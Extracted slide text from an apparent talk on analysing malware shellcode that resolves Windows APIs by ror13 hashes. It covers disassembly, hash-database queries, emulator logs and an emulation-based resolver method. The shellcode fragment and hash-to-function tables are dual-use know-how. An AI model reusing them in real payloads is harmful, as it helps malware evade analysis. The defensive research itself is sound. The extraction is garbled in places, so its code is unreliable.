| ŀ | JOIN 'hash_types' C ON A.hash_type=C.hash_type |
|) | ORDER BY hash_val; |
| | |
| | |

ntoskrnl.exe

ntoskrnl.exe

kernel32.dll

kernel32.dll

ole32.dll

gdi32.dll

ntdll.dll

ole32.dll

advapi32.dll

ntoskrnl.exe

ntdll.dll

gdi32.dll

urlmon.dll

winhttp.dll

gdi32.dll

symbol_name

ChoosePixelFormat

CoGetClassVersion

GdiValidateHandle

CoGetContextToken

ElfFlushEventLog

GdiSetPixelFormat

DIIGetClassObject

DIIGetClassObject

READ_REGISTER_ULONG

CreateNIsSecurityDescriptor

ZwDeleteObjectAuditAlarm

RtlxOemStringToUnicodeSize

RtlxOemStringToUnicodeSize

RtlSetBit

LocalHandle

```
; Attributes: noreturn
sub_88 proc near
pop
       ebp
push
       74656Eh
push
       696E6977h
push
       esp
       726774Ch
push
call
       ebp
xor
       ebx, ebx
push
       ebx
push
       ebx
push
       ebx
push
       ebx
push
       ebx
       0A779563Ah
push
call
       ebp
push
       ebx
push
       ebx
       3
push
push
       ebx
push
       ebx
       20FBh
push
call
       sub_172
sub_88 endp
```

```
4 JOIN 'hash_types' C ON A.hash_type=C.hash_type
 5 WHERE hash_val=0xA779563A
 6 ORDER BY hash_val;
i hash_name
                          hash_val
                                          lib_name
                                                             symbol_name
ror13AddHash32AddDll
                         2809747002
                                          wininet.dll
                                                            InternetOpenA
```

1 SELECT hash_name, hash_val, lib_name, symbol_name

3 JOIN 'source_libs' B ON A.lib_key=B.lib_key

2 FROM 'symbol_hashes' A

```
<u>...</u> 🗹 🚾
; Attributes: noreturn
sub_88 proc near
        ebp
pop
push
        74656Eh
        696E6977h
push
push
        esp
push
        726774Ch
call
        ebp
        ebx, ebx
xor
push
        ebx
push
        ebx
push
        ebx
        ebx
push
        ebx
0A77<mark>9563Ah</mark>
push
push
call
        ebp
                         ; wininet.dll!InternetOpenA
push
        ebx
        ebx
push
push
push
        ebx
push
        ebx
        20FBh
push
call
        sub_172
sub_88 endp
```

A779563A

2

ΑII

Maps

Videos

Images

Shopping

More

Settings

Tools

About 129 results (0.26 seconds)

fido/fido.py at master · secretsquirrel/fido · GitHub

https://github.com/secretsquirrel/fido/blob/master/fido.py ▼

```
0x6F721347, "ntdll.dll!RtlExitUserThread" ), ( 0x23E38427, "advapi32.dll!RevertToSelf" ), ( 0xa779563a, "wininet.dll!InternetOpenA"), ( 0xc69f8957, "wininet.dll!
```

["/imageRepository/8df33ff6-9531-43a3-ad93-02c5f6cad040.jpg ...

en.gzfmtruss.com/comp-FrontProductsItem_imagesBySpecJson01-001 ▼

... -d5ba8d21001b.jpg","/imageRepository/1fd0c879-141c-4077-bb8b-37d6c6d99e87.jpg","/imageRepository/a779563a-4a5d-4979-b9e9-35fa098064b3.jpg" ...

www.PetHarbor.com Animal Search: STRAY OR FOUND

www.petharbor.com/results.asp?... ▼

191 matches - A779563, I am a white and red male. The finder thinks I am about 1 year old. Australian Cattle Dog mix, FOUND, 0007 Days. A780008, I am a white ...

```
1795
                self.hashes = [ ( 0x006B8029, "ws2_32.dll!WSAStartup" ),
                                 ( 0xE0DF0FEA, "ws2_32.dll!WSASocketA" ),
1796
1797
                                 ( 0x33BEAC94, 'ws2_32.dll!WSAaccept'),
1798
                                 ( 0x6737DBC2, "ws2_32.dll!bind" ),
1799
                                 ( 0xFF38E9B7, "ws2 32.dll!listen" ),
                                 ( 0xE13BEC74, "ws2_32.dll!accept" ),
1800
1801
                                 ( 0x614D6E75, "ws2_32.dll!closesocket" ),
                                 ( 0x6174A599, "ws2_32.dll!connect" ),
1802
                                 ( 0x5FC8D902, "ws2 32.dll!recv" ),
1803
                                 ( 0x5F38EBC2, "ws2 32.dll!send" ),
1804
1805
                                 ( 0x5BAE572D, "kernel32.dll!WriteFile" ),
1806
                                 ( 0x4FDAF6DA, "kernel32.dll!CreateFileA" ),
                                 ( 0x13DD2ED7, "kernel32.dll!DeleteFileA" ),
1807
                                 ( 0xE449F330, "kernel32.dll!GetTempPathA" ),
1808
                                 ( 0x528796C6, "kernel32.dll!CloseHandle" ),
1809
                                 ( 0x863FCC79, "kernel32.dll!CreateProcessA" ),
1810
1811
                                 ( 0xE553A458, "kernel32.dll!VirtualAlloc" ),
1812
                                 ( 0x300F2F0B, "kernel32.dll!VirtualFree" ),
1813
                                 ( 0x0726774C, "kernel32.dll!LoadLibraryA" ),
1814
                                 ( 0x7802F749, "kernel32.dll!GetProcAddress" ),
1815
                                 ( 0x601D8708, "kernel32.dll!WaitForSingleObject" ),
                                 ( 0x876F8B31, "kernel32.dll!WinExec" ),
1816
                                 ( 0x9DBD95A6, "kernel32.dll!GetVersion" ),
1817
                                 ( 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" ),
1818
1819
                                 ( 0x56A2B5F0, "kernel32.dll!ExitProcess" ),
1820
                                 ( 0x0A2A1DE0, "kernel32.dll!ExitThread" ),
1821
                                 ( 0x6F721347, "ntdll.dll!RtlExitUserThread" ),
                                 ( 0x23E38427, "advapi32.dll!RevertToSelf" ),
1822
                                 ( 0xa779563a, "wininet.dll!InternetOpenA"),
1824
                                 ( 0xc69f8957, "wininet.dll!InternetConnectA"),
                                 ( 0x3B2E55EB, "wininet.dll!HttpOpenRequestA"),
                                 ( 0x869E4675, "wininet.dll!InternetSetOptionA"),
1826
1827
                                 ( 0x7B18062D, "wininet.dll!HttpSendRequestA"),
                                 ( 0xE2899612, "wininet.dll!InternetReadFile"),
1828
```



automated hash decoding

string decoder routine

- tedious to analyze
- tight, loopy, arithmetic logic
- called a bunch with few args
- "referentially transparent"

hash resolver routine

- tedious to analyze
- tight, loopy, arithmetic logic
- called a bunch with few args
- "referentially transparent"




```
DEBUG: __main__:attempting to resolve hash: a055db61
INFO: main :resolved a055db61 to function 0x180014710 (FlsGetValue)
DEBUG: __main__:attempting to resolve hash: 3c4c8362
INFO: main :resolved 3c4c8362 to function 0x18001ec30 (BaseCheckAppcompatCacheExWorker)
DEBUG: __main__:attempting to resolve hash: 45baf364
INFO: __main__:resolved 45baf364 to function 0x18005a280 (CreatePrivateNamespaceA)
DEBUG: __main__:attempting to resolve hash: 3911f365
INFO:__main__:resolved 3911f365 to function 0x180022870 (GetNumberOfConsoleInputEvents)
DEBUG: __main__:attempting to resolve hash: 75f87364
INFO:__main__:resolved 75f87364 to function 0x18001e860 (GetSystemDefaultLangID)
DEBUG: main :attempting to resolve hash: 82394364
INFO: main :resolved 82394364 to function 0x180037100 (HeapQueryInformation)
DEBUG:__main__:attempting to resolve hash: 9704c369
INFO: __main__:resolved 9704c369 to function 0x180094191 (GetPackageId)
DEBUG: main :attempting to resolve hash: eb51736b
INFO: __main__:resolved eb51736b to function 0x18001e3a0 (GetVersion)
DEBUG: main :attempting to resolve hash: 6f95336f
INFO:__main__:resolved 6f95336f to function 0x180052b20 (BaseFormatTimeOut)
DEBUG: __main__:attempting to resolve hash: 1884fb70
INFO: main :resolved 1884fb70 to function 0x18003c960 (GetUmsSystemThreadInformation)
DEBUG: __main__:attempting to resolve hash: 08887b71
INFO: main :resolved 08887b71 to function 0x180035d20 (GetNumaProximityNode)
DEBUG: main :attempting to resolve hash: 2e013b77
INFO: __main__:resolved 2e013b77 to function 0x1800367f0 (AddResourceAttributeAce)
DEBUG: main :attempting to resolve hash: b21beb7b
INFO: main :resolved b21beb7b to function 0x18001bc70 (CreateFil MappingW)
DEBUG: __main__:attempting to resolve hash: b640f37f
INFO:__main__:resolved b640f37f to function 0x180021fb0 (Initializ ri)
                                                                                                                      TectionEx)
DEBUG: __main__:attempting to resolve hash: f2b36380
INFO: main :resolved f2b36380 to function 0x180037260 (K32GetDev
                                                                                                                _verFileNameA)
DEBUG:__main__:attempting to resolve hash: f1110b83
INFO: main :resolved f1110b83 to function 0x1800371f0 (K32EmptyWorkingSet)
DEBUG: __main__:attempting to resolve hash: 2756f385
INFO: __main__:resolved 2756f385 to function 0x180059d50 (GetNamedPipeClientComputerNameA)
DEBUG:__main__:attempting to resolve hash: fac7238a
INFO: main :resolved fac7238a to function 0x18003d890 (CreateTapePartition)
DEBUG: __main__:attempting to resolve hash: 61c3838b
INFO:__main__:resolved 61c3838b to function 0x180037060 (GetThreadIOPendingFlag)
DEBUG: __main__:attempting to resolve hash: d497db8b
INFO: main :resolved d497db8b to function 0x180021df0 (GetVolumeNameForVolumeMountPointW)
DEBUG: __main__:attempting to resolve hash: 7323e38e
INFO: __main__:resolved 7323e38e to function 0x180021f80 (CreateSemaphoreW)
DEBUG: __main__:attempting to resolve hash: 8c7b4b92
INFO: main :resolved 8c7b4b92 to function 0x180011240 (GlobalAddAtomW)
DEBUG: main :attempting to resolve hash: c7e8c395
INFO: main :resolved c7e8c395 to function 0x180036820 (AllocateUserPhysicalPages)
DEBUG: __main__:attempting to resolve hash: 3eb7eb9a
INFO: main :resolved 3eb7eb9a to function 0x180022220 (FindNextFileNameW)
DEBUG: __main__:attempting to resolve hash: e7e10b9a
INFO: __main__:resolved e7e10b9a to function 0x18001e7c0 (GetThreadId)
DEBUG: main :attempting to resolve hash: 0c0bfb9d
 THEO. THE CONTRACT OF THE CONT
```

```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports:
        if hash(export.name) == asked_hash:
        return export.address
```


```
kernel32.dll, wininet.dll, ...
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports:
        if hash(export.name) == asked_hash:
        return export.address
```

```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports: CreateFile, DeleteFile
    if hash(export.name) == asked_hash:
        return export.address
```

```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports:
        if hash(export.name) == asked_hash: 0xAAAAAAAA
        return export.address
```



```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports:
        if hash(export.name) == asked_hash:
        return export.address
```



- 1. map shellcode, stack region
- 2. map PE header
 - 1. emit TEB, PEB, LDR_DATA structures
 - 2. map DLLs and add to loaded lists (eg. InMemoryOrderModuleList)
- 3. identify hash resolver routine
- 4. emulate shellcode until the start of hash resolver routine

- 5. "taint" the hash argument (i.e. record it somewhere)
- 6. with temporary context, emulate hash resolver routine
 - instrument instructions to collect comparisons to tainted value
 e.g. cmp eax=0xTAINTED, ebx=0x12345
 - 2. then, ensure comparisons fail
- 7. finally, re-run resolver with collected values
- 8. the malware does the work for us!

- 0x12345678
- 0x9ABCDEF0

- 5. "taint" the hash argument (i.e. record it somewhere)
- 6. with temporary context, emulate hash resolver routine
 - instrument instructions to collect comparisons to tainted value
 e.g. cmp eax=0xTAINTED, ebx=0x12345
 - 2. then, ensure comparisons fail
- 7. finally, re-run resolver with collected values
- 8. the malware does the work for us!

- 0x12345678
- 0x9ABCDEF0

```
•
```

```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports: CreateFile
        if hash(export.name) == asked_hash: 0x12345678
        return export.address
```

 $0 \times 12345678 \rightarrow CreateFile$

- 0x12345678
- 0x9ABCDEF0
- •

```
for dll in get_dlls(get_teb().peb.ldr_data):
    for export in dll.exports: DeleteFile
        if hash(export.name) == asked_hash: 0x9ABCDEF0
        return export.address
```

0x9ABCDEF0 → DeleteFile



questions?









Interesting #GHIDRA feature I found today while reviewing the tool's included scripts: a GUI-based YARA signature generator. Scripts

> YaraGhidraGUIScript.java







TRADE WAR

shellcode's wielding of imports and exports

